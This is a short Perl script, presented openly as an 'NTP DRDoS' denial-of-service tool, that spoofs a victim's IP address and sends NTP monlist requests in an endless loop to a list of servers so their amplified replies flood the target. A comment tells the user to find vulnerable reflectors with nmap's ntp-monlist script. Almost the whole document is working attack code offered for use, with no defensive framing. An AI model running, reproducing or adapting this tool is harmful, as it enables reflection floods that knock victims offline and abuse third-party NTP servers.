This is a small perl script called NTP DRDoS which is a denial of service tool for use against NTP.
aace077f2d1467ac05f3510cdb0dd50536eb654724f84af89c96b51140890230
#!/usr/bin/perl
# NTP DRDoS
# by ShadowHatesYou
#
# Use nmap's ntp-monlist.nse to find affected servers
use Net::RawIP;
@ntpservers = qw(
127.0.0.1
);
if ($ARGV[0] eq '') { print "Use: $0 <IP>\n"; exit; }
my $target = "$ARGV[0]";
my $ntp_getlist = "\x17\x00\x03\x2a\x00\x00\x00\x00";
my $sock = new Net::RawIP({udp=>{}});
while () {
for (my $i=0; $i < @ntpservers; $i++) {
$sock->set({ip => {saddr => $target, daddr => $ntpservers[$i]},udp => {source => 123,dest => 123, data=>$ntp_getlist} });
$sock->send;
}
}